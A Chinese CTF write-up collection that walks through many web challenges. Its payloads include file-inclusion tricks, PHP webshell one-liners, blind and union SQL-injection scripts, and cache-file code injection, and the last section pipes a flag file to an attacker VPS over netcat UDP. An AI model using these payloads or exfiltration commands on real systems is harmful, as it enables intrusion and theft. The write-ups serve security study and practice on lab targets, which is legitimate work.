include

首先打开后就是php的源码:

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
?>

可以看到通过get和post传递path参数就可以包含文件,这个应该是没有waf的,尝试传入path=../../../../../etc/passwd,可以读到结果

但是尝试读取flag、flag.php都没有成功

那么我们得看一下目录下到底有什么文件,尝试get传入path=php://input,然后再post传入<?php system('ls');?>

发现当前目录有一个dle345aae.php很可疑,再传入path=php://filter/convert.base64-encode/resource=dle345aae.php

得到一串base64,解码即可得到flag

Zone

进入题目后是一个弹窗,提示需要登录,然后跳转到一个登陆界面,尝试了一下发现无论输入什么都是回显‘网站建设中!’

查看源代码没有收获,抓包发现cookie中有一个login=0,我们将它的值修改为1,成功进入登录后的界面

登录后url的参数是这样的?module=index&name=php,很有可能存在文件包含漏洞

先尝试将index换为flag,发现回显内容flag_is_here,看来flag应该在flag.php中,用php://filter伪协议读不到内容

我们先fuzz看一下有没有过滤../等敏感字符,传参?module=in../dex&name=php回显正常,说明../被过滤掉了

这里可以使用..././来绕过,然后去读nginx的配置文件

传参?module=..././..././..././etc/nginx/sites-enabled/default&name=

在该文件里有这样一段:

location /online-movies {
            alias /movie/;
            autoindex on;
        }

注意到此时目录/movie后面有一个/,此处利用nginx漏洞的大致意思是:

如果你访问http://test.com/online-movies,则会遍历online-movies目录下的文件,但如果你访问http://test.com/online-movies../,此时就会遍历online-movies上一级文件夹下的所有文件

因此我们利用此漏洞访问http://...qiu.com/online-movies../var/www/html/flag.php 即可得到flag

OneThink

这个题的提示是:利用已知的漏洞拿shell吧

打开后发现是一个叫做OneThink的cms,版本号是1.0,既然要利用已知漏洞了,那我们就去查一下OneThink1.0有哪些漏洞

找到一个文件缓存漏洞的,漏洞分析可以看这里:https://www.anquanke.com/post/id/152584

我们就直接利用漏洞,先注册两个用户名分别为%0a$a=$_GET['a'];#%0asystem($a);#的用户,然后再依次登录(注意注册时要抓包将%0a用url解码后变成换行符,登陆的时候也是这样)

这样这两个用户名就会被写入缓存中,而且OneThink的缓存文件名是不变的,为2bb202459c30a1628513f40ab22fa01a.php,因此我们直接访问http://...qiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

右键查看源代码即可得到flag

Do you know upload?

这个题打开后是一个上传界面,右键查看源代码发现有一行注释,内容是include($_GET['file']);

可见此处存在一个文件包含,那么我们直接把一句话该为jpg文件上传,显示目录为upload/shell.jpg,构造?file=./upload/shell.jpg然后用菜刀连接

菜刀连上后我们发现一个mysql数据库的php配置文件,内容如下:

<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$database = "ctf";

// 创建连接
$conn = mysql_connect($servername,$username,$password) or die(" connect to mysql error");
mysql_select_db($database);
?>

然后使用菜刀连接mysql数据库,得到flag

broken

这个考察的jother编码,一开始直接复制到控制台中无法执行,发现最后多了()而少了一个],修改后执行得到一个数组,里面有flag

who are you?

这道题打开后显示:Sorry. You have no permissions.

查看源代码没有什么收获,抓包发现cookie中有一个参数role=Zjo1OiJ0aHJmZyI7,拿去base64解码后得到f:5:"thrfg";,经过尝试发现这个thrfg是guest经过ROT13加密后的结果,因此我们可以将admin经过ROT13后替换掉thrfg,再base64得到Zjo1OiJucXp2YSI7,传入后显示:Hello admin, now you can upload something you are easy to forget

右键查看源代码发现一行注释<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->

这里相当于一个文件上传,我们首先传参filename=a.php&data=a,发现可以上传,但当我们准备写入一句话时,发现回显是:No no no,看来这里是存在waf过滤

既然以这种形式来上传文件,猜测后端应该是用file_put_content()函数和正则表达式来限制,此处可以使用数组绕过,因此我们传参filename=a.php&data[]=<?php eval($_POST['pass']);?>,成功上传文件

访问我们上传的文件就可以得到flag

SQLi

这个是真的不会,输入单双引号均不报错,应该是在后端被过滤了,看了大佬的wp然后自己又尝试了一下

这个题考察的是php的sprint()函数存在漏洞,会造成单引号逃逸

漏洞的详细分析可以看这一篇文章:https://paper.seebug.org/386/

输入%会出现报错,然后传参username=admin%1$\'or 1=1#&password=1回显密码错误,传参username=admin%1$\'or 1=2#&password=1回显用户名错误,因此可以进行布尔盲注

脚本如下:

import requests

s = requests.session()
url = "http://42dbb5e526fa4b8c88aa861ffa2b1eee2015998c9a86449a.changame.ichunqiu.com/"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUUVWXYZ~!@#$%^&*()_+|\":{}<>?1234567890-=[]\;',./ "
true_status = "password error!"
result = ""

for i in range(1, 50):
	for j in chars:
		payload = "admin%1$\\'or ascii(substr(database(),{},1)) = {}#".format(i, ord(j))
		datas = {
		'username': payload,
		'password': 'a'
		}
		r = s.post(url, data = datas)
		if true_status in r.text:
			result += j
			print(result)
			break

# 爆库名ctf
# payload = "admin%1$\\'or ascii(substr(database(),{},1)) = {}#".format(i, ord(j))
# 
# 爆表名flag
# payload = "admin%1$\\'or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x637466),{},1)) = {}#".format(i, ord(j))
# 
# 爆列名flag
# payload = "admin%1$\\'or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666C6167),{},1)) = {}#".format(i, ord(j))
# 
# 爆flag: flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}
# payload = "admin%1$\\'or ascii(substr((select flag from flag),{},1)) = {}#".format(i, ord(j))

wanna to see your hat?

这个题是让你输入一个用户名然后显示你的帽子颜色,结果出来竟然是绿帽子。。md

尝试了登录和注册等,只有在登录输入用户名的地方回显了sql语句,但用户名有长度限制

使用ctf-wscan扫描一下,报告如下:

[TIME] 			=> 2019-07-29 17:31:11.039849
[TARGET] 			=> http://117.50.3.97:1515/
[NUMBER_OF_THRED] 	=> 10
[KEY_WORDS] 		=> ['flag', 'ctf', 'admin']

[301] => .svn
[200] => .svn/entries
[200] => .svn/wc.db
[200] => .svn/
[302] => index.php
[302] => login.php
[200] => register.php
[200] => flag.php

直接扫出来了flag.php,但直接访问是没有结果的,我们还注意到存在.svn等文件,去查了一下发现这存在svn源码泄露,直接用GitHub上的dvcs-ripper来利用

命令:perl rip-svn.pl -v -u http://117.50.3.97:1515/.svn

得到网站源码,接下来开始代码审计,我们主要看login.php(最开始我们发现注入的界面)、route.php和common.php

<?php
// login.php
defined('black_hat') or header('Location: route.php?act=login');
session_start();
include_once "common.php";
$connect=mysql_connect("127.0.0.1","root","xxxxxx") or die("there is no ctf!");
mysql_select_db("hats") or die("there is no hats!");
if (isset($_POST["name"])){
  $name = str_replace("'", "", trim(waf($_POST["name"])));
  if (strlen($name) > 11){
    echo("<script>alert('name too long')</script>");
  }else{
    $sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
    echo $sql;
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if ($row[0]){
      $_SESSION['hat'] = 'black';
      echo 'good job';
    }else{
	$_SESSION['hat'] = 'green';
    }
    header("Location: index.php");
  }
  
}
?>
<?php
// route.php
define("black_hat", 'icq');
include("common.php");
$_POST=d_addslashes($_POST);
$_GET=d_addslashes($_GET);
$file = $_GET['act'].".php";
if (!is_file($file)){
    die("not hats");
}
include_once($file);
?>
<?php
// common.php
error_reporting(2);
session_start();
$connect = mysql_connect("127.0.0.1", "root", "xxxxxx") or die("error 1");
mysql_select_db("hats") or die("error 2");
function d_addslashes($array){
        foreach($array as $key=>$value){
        if(!is_array($value)){
            !get_magic_quotes_gpc() && $value=addslashes($value);
            waf($value);
            $array[$key]=$value;
        }   
    }   
    return $array;
}
function waf($value){
    $Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
    if (preg_match("/".$Filt."/is",$value)==1){
        die("found a hacker");
    }
    $value = str_replace(" ","",$value);  
    return $value;
}
...

其中waf()函数是过滤了空格和敏感字符,d_addslashes()函数是转义单引号等字符,因此们知道我们传入的参数在后端经过处理的流程:

  1. 经过d_addslashes()函数使'变为\'
  2. 经过waf()函数过滤掉空格
  3. 在login.php中被过滤掉单引号,即\'变为\

还注意到最后要求是sql查询返回不为0就可以得到黑帽子的session,因此我们传入参数name=or/**/1=1#'&submit=check,它经过处理后会变成:name=or/**/1=1#\&submit=check,可以看到此时回显的sql语句为:

select count(*) from t_info where username = 'or/**/1=1#\' or nickname = 'or/**/1=1#\'

因此我们可以看到第二、四这两个单引号被转义,第一、三这两个单引号形成闭合,后面的or/**/1=1#成功逃逸,使语句返回恒真

此时我们获得了黑帽子的session,查看自己帽子的颜色即可得到flag

upload

进入题目页面发现一句话:Hi,CTFer!u should be a fast man:)

这个好像shiyanba一道题的套路啊,抓包看一下返回包,发现有一个flag参数,应该是base64编码了,而且是在变化

上脚本:

import requests
import base64

s = requests.session()
url = "http://e4ab256957df43de819b608e95b1e111407d77c1545d491f.changame.ichunqiu.com/"
res1 = s.get(url)
head = res1.headers['flag']
d = (base64.b64decode(head)).decode()
a = base64.b64decode(d.split(':')[1])

data = {
	'ichunqiu':a
}
res2 = s.post(url, data = data)
print(res2.text)

跑出结果:Path:3712901a08bb58557943ca31f3487b7d

然后我们访问该路径,是一个登陆界面,提示:substr(md5(captcha), 0, 6)=788f85,即验证码的前6位是788f85

看了wp才知道此处有一个源码泄露,我们扫一下目录可以得到./.svn/wc.db,访问后得到:My username is md5(HEL1OW10rDEvery0n3)

我们先写个脚本把验证码爆破出来:

import hashlib

for i in range(100000, 99999999):
	md5 = hashlib.md5()
	md5.update(str(i).encode("utf-8"))
	result = md5.hexdigest()[0:6]
	if result == '6a4561':
		print(i)
		break

此处的密码随便填都可以,然后把用户名用md5加密后和验证码一起传入,得到一个文件名:7815696ecbf1c96e6894b779456d330e.php

访问这个文件后发现是一个上传界面,抓包fuzz一波

这个题最终是上传一个后缀为.pht的文件即可得到flag

php的conf文件中是有一个正则的后缀名限制的,只要符合都可以被当做php文件执行。符合的后缀包括 php、php3、php4、php5、phtml、pht 等。

phone number

这个题刚上来是一个登录界面,还有一个注册功能

先尝试一下登录,无果。然后尝试注册一个用户(会让你输入手机号),登录后发现有一个check有多少人跟你手机号一样的功能

那么这里肯定是将我们注册时使用的手机号带入数据库查询了,应该是存在sql注入

我们再去注册几个用户试试,经过fuzz后发现phone参数只能传入数字,对此我们可以采用16进制来传入sql语句,phone被带入数据库时并没有被引号包围,因此可以直接写sql语句

由于返回的只有一个数字,我们猜测查询的sql语句只有一个字段,因此我们注册一个手机号为1 union select database()#,转换为16进制后传入,然后登录后check一下,发现成功得到数据库名:webdb

There only 22753 people use the same phone as you
There only webdb people use the same phone as you

在这里我们右键查看源码时,看到一行注释<!-- 听说admin的电话藏着大秘密哦~-->

因此我们猜测admin的电话应该就是flag,接下来我们再注册一个用户,phone的内容为(要转换为16进制,下同)

1 union select table_name from information_schema.tables where table_schema=database()#

得到表名为user,然后我们继续查列名,至少要查到用户名那一列的名称

1 union select column_name from information_schema.columns where table_name='user'#

可以得到有id、username、phone等列

然后我们就可以直接查admin的电话号了,果然就是flag

1 union select phone from user where username='admin'#

攻击

这道题打开后直接给出了源码:

<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
  die("您的ip已进入系统黑名单");
}
var_dump($ip);

if ($_POST[substr($flag,5,3)]=='attack'){
  echo $flag;
}else if (count($_POST)>0){
  $ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL; 
  file_put_contents('u/ip.php',$ip,FILE_APPEND);
}


echo '</pre>';

?>

可以看到要求是要POST一个参数名是flag第6-9位,参数值是attack的参数,由于我们不知道flag,那么只能暴力枚举flag的第6-9位了,而且这道题限制了一次不成功ip就会被ban掉

由于POST一次可以传很多值,因此我们可以先枚举出来然后再一起传入,脚本如下:

import requests

s = requests.session()
url = "http://a4531ed1ef354831b95abad2ca17ea5e4a52ea961a2c4f40.changame.ichunqiu.com/"
flag = "0123456789"
data = {}
for i in flag:
	for j in flag:
		for k in flag:
			key = i + j + k
			data[key] = 'attack'
r = s.post(url, data = data)
print(r.text)

象棋

这道题打开是一个象棋游戏,我们查看一下源码发现一个名字是正则的js文件

<script src="js/[abcmlyx]{2}ctf[0-9]{3}.js"></script>

看来这个js文件肯定与flag有关,于是我们写一个python脚本爆破一下这个js文件名:

import requests

s = requests.session()
a = "abcmlyx"
b = "0123456789"
c = []
d = []

for i in a:
	for j in a:
		c.append(i + j)
# print(c)

for i in b:
	for j in b:
		for k in b:
			d.append(i + j + k)
# print(d)

for i in c:
	for j in d:
		url = "http://1d9efd173e5e42fdb391d6da8cc25fd2a704456945f24b06.changame.ichunqiu.com/js/{}ctf{}.js".format(i, j)
		r = s.get(url)
		if r.status_code != 404:
			print(url + "\r\n")
			print(r.text)
			break
		break

最终得到myctf801.js,访问得到flag

时间

这道题打开也是直接给了源码:

<?php 
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
  $txt = file_get_contents('flag.php');
  $filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
  file_put_contents($filename,$txt);
  sleep(10);
  unlink($filename);
}
?>

我们审计一下代码发现flag.php的内容被写入到一个文件名为随机生成的1-1000中的数的md5值的txt文件中,然后sleep十秒后删除该txt文件

我们首先得准备一个1-1000随机数的MD5字典:

import hashlib

with open("C:\\Users\\pc\\Desktop\\b.txt", "ab+") as f:
	for i in range(1, 1001):
		a = hashlib.md5()
		a.update(str(i).encode('utf-8'))
		data = "u/" + a.hexdigest() + ".txt\r\n"
		f.write(bytes(data.encode('utf-8')))
		f.flush()

然后用burp去爆破就可以,这里需要设置线程非常高,不然文件就被删除了

blog

是一个简单的博客界面,先登录测试一下,应该是没有注入;再到注册界面注册一个test账户,进去后只有一个发布文章的界面

先试一下有没有xss,发现提交内容会被htmlspecialchars()转换为HTML实体编码

再试试发表文章那里有没有上传,先上传一个文件发现出现以下界面:

Alt text

原本还以为是题目宕掉了,仔细一看发现这个编辑器是kindeditor,去网上找了下kindeditor的漏洞,发现有一个列目录的洞,直接访问/kindeditor/php/file_manager_json.php?path=/可以列出根目录下的文件

我们访问/kindeditor/php/file_manager_json.php?path=../../发现该目录下有个flag.php,我们直接访问,发现只显示了flag_is_here

这里实在想不到什么方法了,看了wp发现自己漏了一个点,发表文章那里是存在sql注入的

在发表文章的title处传参1'and'1'='1发表后发现标题回显为1,1'and'1'='2回显为0,可见此处存在注入,而且发表文章时这里应该是一个insert语句

经过测试这里的insert语句应该是操作了三个列,通过传参aa','1'),('test1','test2','test3得到2、3两个位置为回显位

接下来传参得到数据库miniblogtitle=a&content=aa','1'),('a',(database()),'1

爆表名posts,userstitle=a&content=aa','1'),('a',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'1

爆列名username,passwordtitle=a&content=aa','1'),('a',(select group_concat(column_name) from information_schema.columns where table_name='users'),'1

爆用户名admin,testtitle=a&content=aa','1'),('a',(select group_concat(username) from users),'1

爆密码:title=a&content=aa','1'),('a',(select group_concat(password) from users),'1

这里最终得到两个MD5,解密后分别是melody123和test,test是我们自己注册的密码,那么melody123应该就是admin的密码

登录admin的账户后发现多了一个标签manager,打开后url是:/blog_manage/manager.php?module=article_manage&name=php,看来应该是一个文件包含了

最终读取flag.php的payload:?module=php://filter/convert.base64-encode/resource=../flag&name=php

notebook

Alt text

题目的提示是phpinfo.php,题目打开后的页面是这样的:

URL:http://91e59b594d724ef49884f8aa2b32c9b06beca711aaf74a7e.changame.ichunqiu.com/action.php?module=php&file=login

Alt text

从url来看应该有文件包含,还是先测试登录框,无弱密码、sql注入等,然后试试去读phpinfo.php,但是读不到。扫一下目录吧

Alt text

发现robots.txt,打开看到php1nFo.php

Alt text

访问后发现就是普通的phpinfo,结合前台是登陆页面猜测应该是要向session文件中写内容然后文件包含,可以从phpinfo中看到session文件存储的路径:

Alt text

然后我们注册用户名为<?php @eval($_POST['pass']);?>的账户,登陆上去看一下session的值

Alt text

php的session文件通常的命名规则为:sess_[PHPSESSID].txt

所以我们尝试包含/tmp/SESS/sess_ulhtmu16qllfr33i1ejj8k2rr2.txt

Alt text

可以看到成功执行命令,然后直接上蚁剑,得到flag

Alt text

Fuzzing

打开页面显示是“there is nothing”,但是我们可以在返回包中看到这条提示:

Alt text

看来是需要伪造为内网IP,经尝试后添加X-Forwarded-For: 10.0.0.0即可绕过,接下来跳转到m4nage.php,页面显示“show me your key”

于是我们GET传参?key=1试一下,没有反应,然后换POST传,发现回显:

Alt text

这个写python来爆破

import hashlib

chars = "0123456789abcdefghijklmnopqrstuvwxyz"
for i in chars:
    for j in chars:
        for k in chars:
            md5 = hashlib.md5()
            data = "ichunqiu" + i + j + k
            md5.update(str(data).encode('utf-8'))
            result = md5.hexdigest()
            if result == "1b4167610ba3f2ac426a68488dbd89be":
                print(data)
                break

Alt text

跑出key是ichunqiu105,提交过去提示访问xx00xxoo.php,访问之后是这样:

Alt text

先访问x0.txt看一下源码:

<?
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya . md5($keya . $keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for ($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for ($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for ($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if ($operation == 'DECODE') {
		if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc . str_replace('=', '', base64_encode($result));
	}

}

本来以为要根据加密方式写解密脚本,但是注意到这个函数有一个参数是DECODE,那直接拿来解密吧,在函数后添加这样一段代码

echo authcode($str = "c5ccOwX2XWFSfQ2k1PdFT7h4DOFhqeINs6ZOW/5M9R8qh0ZuULvif1Zw+BMZEsXtc8c48YgmZyiZFfHYMdi51bnF0+8UnRM", $operation = 'DECODE', $key = 'ichunqiu105', $expiry = 0);

注意要把第五行UC_KEY这个常量给改掉(改成数字字符串都可),要不会报错,我们解密时是用不上这个常量的

Alt text

登陆

首先点开是登录页面,传参admin/admin发现显示用户名不存在,然后再传参admin’or 1=1#/admin回显密码错误,看来这里存在布尔盲注

右键查看源代码发现两个很可疑的字段,user_n3mep3ss_w0rd,说不准后端的列名就是这两个字段呢?

Alt text

我们猜测一下后端的语句为

select user_n3me,p3ss_w0rd from [table_name] where user_n3me='admin';

注入我们可以使用like注入,python脚本如下:

import requests

s = requests.session()
url = "http://0a75f49193044be4a05b8dcae64fe84f2e9e111343934787.changame.ichunqiu.com/Challenges/login.php"
chars = "abcdefghijklmnopqrstuvwxyz1234567890"
payload = ''

for i in range(0, 40):
	for j in chars:
		username = "admin'or user_n3me like '{}%'#".format(payload + j)
		# username = "admin'or p3ss_w0rd like '{}%'#".format(payload + j)
		password = 'aaa'
		data = {
		'username': username,
		'password': password
		}
		r = s.post(url, data=data)
		text = r.text
		if '密码错误' in text:
			payload += j
			print(payload)

跑出来用户名为:bctf3dm1n,密码为:2bfb1532857ddc0033fdae5bde3facdf,解密后为:adminqwe123666

然后拿去登录,显示如下界面:

Alt text

注意有一个bctfg1t,看来是提示git源码泄露

上githack,但是拿下来的flag.php是个假flag。。。

Alt text

EXEC

题目打开只有一张图片和一句话:no sign,我们右键查看一下源码发现这个代码是vim写的

Alt text

那么很有可能存在vim非正常退出时的备份文件,我们访问.index.php.swp,果然存在,下载下来后到Linux中恢复

# vim -r index.php

得到源码为:

/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
	setcookie('auth','tcp tunnel is forbidden!');
	if(isset($_POST['cmd'])){
		$command=$_POST[cmd];
		$result=exec($command);
		//echo $result;
	}
}else{
	die('no sign');
}

审计一下发现是一个命令执行,还有提示flag在flag233.php中,check()函数这里很好绕过,直接转十六进制就可以了

Alt text

于是我们GET传参?sign=0xabcdef,然后POST传参我们想要执行的命令,但是这里命令执行的结果是不会回显的。我们可以先使用cmd=sleep 3来验证一下,确实页面延迟了,说明命令有执行只是没有回显

此时我们有两种方法,一个是想办法把该文件传给我们的公网VPS,或者是像盲注一样爆破flag233.php的内容

第一个方法我们可以使用nc来搞,但要注意该题还有一个提示:tcp tunnel is forbidden!,因此我们要使用udp来传输

该服务器上:nc -u xxx.xxx.xx.xx 4444 < ./flag233.php
VPS上:nc -ul 4444